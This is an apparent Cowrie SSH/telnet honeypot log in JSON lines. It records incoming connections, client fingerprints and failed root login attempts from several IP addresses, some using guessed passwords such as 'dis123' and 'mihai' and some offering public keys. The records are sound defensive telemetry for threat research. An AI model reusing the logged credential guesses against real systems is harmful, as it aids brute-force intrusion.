{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:59:42.802009Z","src_ip":"139.19.117.129","session":"658d95ff59cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59434,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c259c740f8f","protocol":"telnet","message":"New connection: 152.42.224.71:59434 (10.17.0.5:23) [session: 2c259c740f8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:59:49.795885Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59442,"dst_ip":"10.17.0.5","dst_port":23,"session":"07efbad771f1","protocol":"telnet","message":"New connection: 152.42.224.71:59442 (10.17.0.5:23) [session: 07efbad771f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:59:53.488867Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.70.247","src_port":58046,"dst_ip":"10.17.0.5","dst_port":22,"session":"027fa53f2b4e","protocol":"ssh","message":"New connection: 43.153.70.247:58046 (10.17.0.5:22) [session: 027fa53f2b4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:00:00.037865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:00:00.043314Z","src_ip":"43.153.70.247","session":"027fa53f2b4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:00:00.131538Z","src_ip":"43.153.70.247","session":"027fa53f2b4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dis123","message":"login attempt [root/dis123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:00:00.439331Z","src_ip":"43.153.70.247","session":"027fa53f2b4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:00:01.517099Z","src_ip":"43.153.70.247","session":"027fa53f2b4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":28.12587833404541,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:00:04.400582Z","src_ip":"152.42.224.71","session":"f97eba3ce05a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33672,"dst_ip":"10.17.0.5","dst_port":23,"session":"f130811a4594","protocol":"telnet","message":"New connection: 152.42.224.71:33672 (10.17.0.5:23) [session: f130811a4594]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:00:15.293710Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.201.9.152","src_port":56108,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd44f4dbbd2b","protocol":"ssh","message":"New connection: 128.201.9.152:56108 (10.17.0.5:22) [session: fd44f4dbbd2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:00:19.257594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:00:19.268643Z","src_ip":"128.201.9.152","session":"fd44f4dbbd2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:00:19.404660Z","src_ip":"128.201.9.152","session":"fd44f4dbbd2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mihai","message":"login attempt [root/mihai] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:00:19.936615Z","src_ip":"128.201.9.152","session":"fd44f4dbbd2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:00:21.066265Z","src_ip":"128.201.9.152","session":"fd44f4dbbd2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":56742,"dst_ip":"10.17.0.5","dst_port":22,"session":"4800c29e2474","protocol":"ssh","message":"New connection: 77.94.47.83:56742 (10.17.0.5:22) [session: 4800c29e2474]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:00:22.936057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:00:22.946964Z","src_ip":"77.94.47.83","session":"4800c29e2474","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:00:23.071923Z","src_ip":"77.94.47.83","session":"4800c29e2474","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:00:23.441103Z","src_ip":"77.94.47.83","session":"4800c29e2474","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:00:24.568442Z","src_ip":"77.94.47.83","session":"4800c29e2474","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0012481212616,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:00:45.593874Z","src_ip":"152.42.224.71","session":"1256be2cedaf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.137.172.116","src_port":41054,"dst_ip":"10.17.0.5","dst_port":22,"session":"292b598d327a","protocol":"ssh","message":"New connection: 45.137.172.116:41054 (10.17.0.5:22) [session: 292b598d327a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:00:56.657944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:00:56.663487Z","src_ip":"45.137.172.116","session":"292b598d327a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:00:56.764717Z","src_ip":"45.137.172.116","session":"292b598d327a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yyy123","message":"login attempt [root/yyy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:00:57.201761Z","src_ip":"45.137.172.116","session":"292b598d327a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:00:58.306570Z","src_ip":"45.137.172.116","session":"292b598d327a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":99.03193664550781,"message":"Connection lost after 99 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:00:59.358916Z","src_ip":"152.42.224.71","session":"ccd119e4a685","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.94.200.194","src_port":52782,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf71770cd593","protocol":"ssh","message":"New connection: 23.94.200.194:52782 (10.17.0.5:22) [session: bf71770cd593]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:01:02.334351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:01:02.351228Z","src_ip":"23.94.200.194","session":"bf71770cd593","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:01:02.382687Z","src_ip":"23.94.200.194","session":"bf71770cd593","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ff:08:00:26:a1:83:34:61:41:03:36:3f:b4:5d:67:8c","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHfpEkneJjjCpArHnlRVKOBKRy5iCx0XY/nU1CdEjfRk","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint ff:08:00:26:a1:83:34:61:41:03:36:3f:b4:5d:67:8c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:01:02.495616Z","src_ip":"23.94.200.194","session":"bf71770cd593","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ff:08:00:26:a1:83:34:61:41:03:36:3f:b4:5d:67:8c","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHfpEkneJjjCpArHnlRVKOBKRy5iCx0XY/nU1CdEjfRk","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:01:02.499864Z","src_ip":"23.94.200.194","session":"bf71770cd593","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"06:13:3f:9d:1e:c7:64:ab:16:be:1c:25:75:d1:52:c1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAreFGIo8DzivZJkWkuOZJwEhtwwwMhWg0yuANoiNczj/xNa8wYFlcUBYvThkI6hOVCRKsg2/sJuwpeAbqbE5TX6LhQGGDEwrbGl/9Igh+JC60ERzrxfp0356ZIRnpjeCJUOi2CgNqtlQCRQBYok4d8PiuDe3giBNhFYrRuqpVEU0aKVCyV++aggT7gIMtCjYqH4HpIunuu1XIrq2yePXsI+8Hguj6VatYmD/X3LjIGuQ7hToznjjsVwYnpIwI0mDqr79ergrd/xF1AJX5OkAIKtRb1b1esp1JkjPwzqXDSKsFVHqYBDssieW8Y6HoQtsx0qjmGcmvAykA1YmWgYS133kfY1AYghJnKbTkSboyWK9rY1bw50a84gmNfCPQCaIFSEzuIOYG4TFfHjjJOd305aemY0hiNXm3UUIMk0KXr7LHApbJX9CZcAeZZKmiBKjopPOWOhueFWPwINqc9Lo3/+oq+A5CN8QRVCeTulKz7lyeXzW0Kq62JOWvTE54CTyQP8ukNE9OuPdArv8IYPlZLWKpOo31iCnTKM7ZAhVFHJ9QBUbLOgoYSiJshYsJEy8+grh9qkMN0s3lwZiNG9x3/vnIdX2XXeZWfQQ/BvYMWoUB1q9u43RxhJ2FVct87EwRlD0UeSDJ7K00uEt03UDqBOQIppupsYvzFsHv/kCyW6U=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 06:13:3f:9d:1e:c7:64:ab:16:be:1c:25:75:d1:52:c1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:01:02.537531Z","src_ip":"23.94.200.194","session":"bf71770cd593","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"06:13:3f:9d:1e:c7:64:ab:16:be:1c:25:75:d1:52:c1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAreFGIo8DzivZJkWkuOZJwEhtwwwMhWg0yuANoiNczj/xNa8wYFlcUBYvThkI6hOVCRKsg2/sJuwpeAbqbE5TX6LhQGGDEwrbGl/9Igh+JC60ERzrxfp0356ZIRnpjeCJUOi2CgNqtlQCRQBYok4d8PiuDe3giBNhFYrRuqpVEU0aKVCyV++aggT7gIMtCjYqH4HpIunuu1XIrq2yePXsI+8Hguj6VatYmD/X3LjIGuQ7hToznjjsVwYnpIwI0mDqr79ergrd/xF1AJX5OkAIKtRb1b1esp1JkjPwzqXDSKsFVHqYBDssieW8Y6HoQtsx0qjmGcmvAykA1YmWgYS133kfY1AYghJnKbTkSboyWK9rY1bw50a84gmNfCPQCaIFSEzuIOYG4TFfHjjJOd305aemY0hiNXm3UUIMk0KXr7LHApbJX9CZcAeZZKmiBKjopPOWOhueFWPwINqc9Lo3/+oq+A5CN8QRVCeTulKz7lyeXzW0Kq62JOWvTE54CTyQP8ukNE9OuPdArv8IYPlZLWKpOo31iCnTKM7ZAhVFHJ9QBUbLOgoYSiJshYsJEy8+grh9qkMN0s3lwZiNG9x3/vnIdX2XXeZWfQQ/BvYMWoUB1q9u43RxhJ2FVct87EwRlD0UeSDJ7K00uEt03UDqBOQIppupsYvzFsHv/kCyW6U=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:01:02.542230Z","src_ip":"23.94.200.194","session":"bf71770cd593","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"41:4e:e0:7e:71:2f:97:5f:75:37:bd:a6:6a:51:c6:e3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCS24IyFHw1gxopi7u21Z8OS3cNvJwqBqVfgPm9PisMArrqQIC/Mo/jDkw2oDqSyIfSFpKPBgiLZ5hKcnDbZmSC5MjIAT3f7A+cNc4EcOW0FTIkN283zmmvUlKE2sfjrNCzkDtH+QDNpU4aYkxUa2kLop78sgCCFKedsd/rFQl8HI56xP70IUAS3Upu5VgJVkUy5IYYWXZLyPc8FGTAvMguHV4L39qa99j595qX6Os9adhaheFuNCG9NGoKtZIMQ/ChfnYoxLOFL1ThHUpSCxVwwuDnF/+TDm3dFtOi/k66i/xlZCvSVJ4CnvIxZk+0wG0rj6dKUU3nMacjdBCJ8iUbYZ2rkkyZILOWFBILSWOIldRRHbqdgm71OViag1OGG3fqhwASdGRTWBCHp132H/HdJsB6P8Oo57KIrm7YAeygcS1lXG004ZDrITy3bkMakGq1H/TGhIWp/Nq3psC2vhqE95uPsJCheqLak2tmJLG4qAzsfxIzk3mTWmF3+QBRI74NBv/jOndVWhYTsJa2nPkfBl/jZ9Krm0FNLSMXdfWpdS7AU131U+cNyWMGhaREK4IUzVfR1MMDL4kjtyblOxT92h73/0nNJO6dgRWT/iPTm+vbrWrQNXsk2mTkjThPbGtw2hfPoXSuaHANZdXRSHEXGJiwZgHHefNdxOj58t8LiQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 41:4e:e0:7e:71:2f:97:5f:75:37:bd:a6:6a:51:c6:e3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:01:02.589117Z","src_ip":"23.94.200.194","session":"bf71770cd593","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"41:4e:e0:7e:71:2f:97:5f:75:37:bd:a6:6a:51:c6:e3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCS24IyFHw1gxopi7u21Z8OS3cNvJwqBqVfgPm9PisMArrqQIC/Mo/jDkw2oDqSyIfSFpKPBgiLZ5hKcnDbZmSC5MjIAT3f7A+cNc4EcOW0FTIkN283zmmvUlKE2sfjrNCzkDtH+QDNpU4aYkxUa2kLop78sgCCFKedsd/rFQl8HI56xP70IUAS3Upu5VgJVkUy5IYYWXZLyPc8FGTAvMguHV4L39qa99j595qX6Os9adhaheFuNCG9NGoKtZIMQ/ChfnYoxLOFL1ThHUpSCxVwwuDnF/+TDm3dFtOi/k66i/xlZCvSVJ4CnvIxZk+0wG0rj6dKUU3nMacjdBCJ8iUbYZ2rkkyZILOWFBILSWOIldRRHbqdgm71OViag1OGG3fqhwASdGRTWBCHp132H/HdJsB6P8Oo57KIrm7YAeygcS1lXG004ZDrITy3bkMakGq1H/TGhIWp/Nq3psC2vhqE95uPsJCheqLak2tmJLG4qAzsfxIzk3mTWmF3+QBRI74NBv/jOndVWhYTsJa2nPkfBl/jZ9Krm0FNLSMXdfWpdS7AU131U+cNyWMGhaREK4IUzVfR1MMDL4kjtyblOxT92h73/0nNJO6dgRWT/iPTm+vbrWrQNXsk2mTkjThPbGtw2hfPoXSuaHANZdXRSHEXGJiwZgHHefNdxOj58t8LiQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:01:02.593022Z","src_ip":"23.94.200.194","session":"bf71770cd593","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"62:7b:64:4b:11:c3:9a:4a:0e:54:a0:0a:ce:4c:67:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDlmbg9g2RDtG0hhJpvulCFgTuK10XSK9EXbtdW2YayhkEMsTa9vYRvc76uuUC+I3A1obhCVv3v9bH23rTPD49LJyf63lZvQqzzq2mJ1SZTfq49hQ/SrIqCfBXV0skdpdWRVU6TbV2iT0aFry9lJa0tSzfVSD6yeoVnQFhgiXPfjOf1ikk9EhPdHlnc0tincqdGjkPECQUVSobO4SdyoWmtSQTCEMp6u8CVq2wLb5mjFsUhbJHMrLHrWGG0yvjWSQzhJYjwTDyUT68sk/7X+dTmJDNgZuy3exivUdhkeR9c668mt9raSk/SSr4aP4hMLlUukqv1bzGGACMJ5NBw37TR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 62:7b:64:4b:11:c3:9a:4a:0e:54:a0:0a:ce:4c:67:70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:01:02.634780Z","src_ip":"23.94.200.194","session":"bf71770cd593","protocol":"ssh"}
